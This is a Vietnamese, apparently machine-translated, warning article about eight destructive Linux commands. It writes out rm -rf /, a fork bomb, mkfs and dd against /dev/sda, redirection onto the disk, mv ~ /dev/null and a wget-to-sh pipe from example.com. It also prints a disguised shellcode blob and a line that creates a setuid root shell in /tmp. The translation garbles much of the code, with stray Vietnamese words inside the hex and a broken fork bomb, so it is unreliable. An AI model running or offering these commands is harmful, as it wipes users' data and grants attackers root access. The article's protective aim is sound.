8 lệnh chết người bạn không bao giờ nên chạy trên Linux
Các lệnh đầu cuối của Linux rất mạnh và Linux sẽ không yêu cầu bạn xác nhận nếu bạn chạy một lệnh sẽ phá vỡ hệ thống của bạn. Không có gì lạ khi thấy trolls trực tuyến khuyến nghị người dùng Linux mới chạy các lệnh này như một trò đùa.
Học các lệnh bạn không nên chạy có thể giúp bảo vệ bạn khỏi các trò troll đồng thời tăng sự hiểu biết của bạn về cách Linux hoạt động. Đây không phải là một hướng dẫn đầy đủ và các lệnh ở đây có thể được phối lại theo nhiều cách khác nhau.
Lưu ý rằng nhiều lệnh trong số này sẽ chỉ nguy hiểm nếu chúng có tiền tố sudo trên Ubuntu - họ sẽ không làm việc khác. Trên các bản phân phối Linux khác, hầu hết các lệnh phải được chạy dưới quyền root.
Tín dụng hình ảnh: Skull và Crossbones được phối lại từ Jason Ford trên Twitter
rm -rf / - Xóa mọi thứ!
Lệnh rm -rf / xóa mọi thứ có thể, bao gồm các tệp trên ổ cứng và các tệp trên các thiết bị phương tiện di động được kết nối. Lệnh này dễ hiểu hơn nếu nó bị hỏng:
rm - Xóa các tệp sau.
-rf - Chạy rm đệ quy (xóa tất cả các tệp và thư mục trong thư mục đã chỉ định) và buộc xóa tất cả các tệp mà không nhắc bạn.
/ - Yêu cầu rm bắt đầu tại thư mục gốc, chứa tất cả các tệp trên máy tính của bạn và tất cả các thiết bị đa phương tiện được gắn, bao gồm chia sẻ tệp từ xa và ổ đĩa di động.
Linux sẽ vui vẻ tuân theo lệnh này và xóa mọi thứ mà không cần nhắc bạn, vì vậy hãy cẩn thận khi sử dụng nó! Lệnh rm cũng có thể được sử dụng theo những cách nguy hiểm khác - rm -rf ~ sẽ xóa tất cả các tập tin trong thư mục nhà của bạn, trong khi rm -rf. * sẽ xóa tất cả các tập tin cấu hình của bạn.
Bài học: Coi chừng rm -rf.
Ngụy trang rm -rf /
Đây là một đoạn mã khác trên tất cả các trang web:
char đặc biệt [] __attribution__ ((phần (văn bản. Văn bản))) / * e.s.p
giải phóng */
= Hoài \ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68
Cược \ xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99
Câm \ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7
Cối \ x56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56 Rằng
Cối \ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31
Cối \ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69
Hoàng \ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00
Cp cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond;
Đây là phiên bản hex của rm -rf / - thực thi lệnh này sẽ xóa sạch các tệp của bạn giống như khi bạn chạy rm -rf /.
Bài học: Đừng chạy những lệnh trông lạ, rõ ràng mà bạn không hiểu.
: () : |: &;: - Bom Ngã ba
Dòng sau đây là một hàm bash trông đơn giản nhưng nguy hiểm:
: () : |: &;:
Dòng ngắn này xác định một hàm shell tạo ra các bản sao mới của chính nó. Quá trình liên tục sao chép chính nó và các bản sao của nó liên tục tự sao chép, nhanh chóng chiếm hết thời gian và bộ nhớ CPU của bạn. Điều này có thể khiến máy tính của bạn đóng băng. Về cơ bản, đây là một cuộc tấn công từ chối dịch vụ.
Bài học: Các hàm Bash rất mạnh, thậm chí rất ngắn.
Tín dụng hình ảnh: Dake trên Wikimedia Commons
mkfs.ext4 / dev / sda1 - Định dạng ổ cứng
Các mkfs.ext4 / dev / sda1 lệnh đơn giản để hiểu:
mkfs.ext4 - Tạo một hệ thống tệp ext4 mới trên thiết bị sau.
/ dev / sda1 - Chỉ định phân vùng đầu tiên trên ổ cứng đầu tiên, có thể đang được sử dụng.
Được kết hợp với nhau, lệnh này có thể tương đương với định dạng chạy c: trên Windows - nó sẽ xóa các tệp trên phân vùng đầu tiên của bạn và thay thế chúng bằng một hệ thống tệp mới.
Lệnh này cũng có thể ở các dạng khác - mkfs.ext3 / dev / sdb2 sẽ định dạng phân vùng thứ hai trên ổ cứng thứ hai với hệ thống tệp ext3.
Bài học: Coi chừng các lệnh chạy trực tiếp trên các thiết bị đĩa cứng bắt đầu bằng / dev / sd.
lệnh> / dev / sda - Ghi trực tiếp vào ổ cứng
Các lệnh> / dev / sda dòng hoạt động tương tự - nó chạy một lệnh và gửi đầu ra của lệnh đó trực tiếp đến ổ cứng đầu tiên của bạn, ghi dữ liệu trực tiếp vào ổ đĩa cứng và làm hỏng hệ thống tệp của bạn.
chỉ huy - Chạy một lệnh (có thể là bất kỳ lệnh nào.)
> - Gửi đầu ra của lệnh đến vị trí sau.
/ dev / sda - Viết đầu ra của lệnh trực tiếp vào thiết bị đĩa cứng.
Bài học: Như trên, hãy cẩn thận khi chạy các lệnh liên quan đến các thiết bị đĩa cứng bắt đầu bằng / dev / sd.
dd if = / dev / Random of = / dev / sda - Ghi Junk lên ổ cứng
Các dd if = / dev / ngẫu nhiên của = / dev / sda dòng cũng sẽ xóa sạch dữ liệu trên một trong các ổ đĩa cứng của bạn.
đ - Thực hiện sao chép cấp thấp từ vị trí này sang vị trí khác.
if = / dev / ngẫu nhiên - Sử dụng / dev / ngẫu nhiên (dữ liệu ngẫu nhiên) làm đầu vào - bạn cũng có thể thấy các vị trí như / dev / zero (số không).
của = / dev / sda - Xuất ra đĩa cứng đầu tiên, thay thế hệ thống tệp của nó bằng dữ liệu rác ngẫu nhiên.
Bài học: dd sao chép dữ liệu từ vị trí này sang vị trí khác, điều này có thể nguy hiểm nếu bạn sao chép trực tiếp vào thiết bị.
Tín dụng hình ảnh: Matt Rudge trên Flickr
mv ~ / dev / null - Di chuyển Thư mục nhà của bạn sang Hố đen
/ dev / null là một vị trí đặc biệt khác - di chuyển thứ gì đó đến / dev / null cũng giống như phá hủy nó. Hãy nghĩ về / dev / null như một lỗ đen. bản chất, mv ~ / dev / null gửi tất cả các tập tin cá nhân của bạn vào một lỗ đen.
mv - Di chuyển tệp hoặc thư mục sau sang vị trí khác.
~ - Đại diện cho toàn bộ thư mục nhà của bạn.
/ dev / null - Di chuyển thư mục nhà của bạn đến / dev / null, hủy tất cả các tệp của bạn và xóa các bản sao gốc.
Bài học: Ký tự ~ đại diện cho thư mục nhà của bạn và di chuyển mọi thứ đến / dev / null phá hủy chúng.
wget http://example.com/s Something -O - | sh - Tải xuống và chạy một tập lệnh
Dòng trên tải xuống một tập lệnh từ web và gửi nó đến sh, nó thực thi nội dung của tập lệnh. Điều này có thể nguy hiểm nếu bạn không chắc tập lệnh là gì hoặc nếu bạn không tin vào nguồn của nó - không chạy các tập lệnh không đáng tin cậy.
wget - Tải tập tin. (Bạn cũng có thể thấy cuộn tròn thay cho wget.)
http://example.com/s Something - Tải tập tin từ vị trí này.
| - Đặt ống (gửi) đầu ra của lệnh wget (tệp bạn đã tải xuống) trực tiếp sang lệnh khác.
sh - Gửi tệp tới lệnh sh, lệnh này sẽ thực thi nếu đó là tập lệnh bash.
Bài học: Không tải xuống và chạy các tập lệnh không đáng tin cậy từ web, ngay cả với một lệnh.
Bạn có biết bất kỳ lệnh nguy hiểm nào khác mà người dùng Linux mới (và có kinh nghiệm) không nên chạy không? Để lại một bình luận và chia sẻ chúng!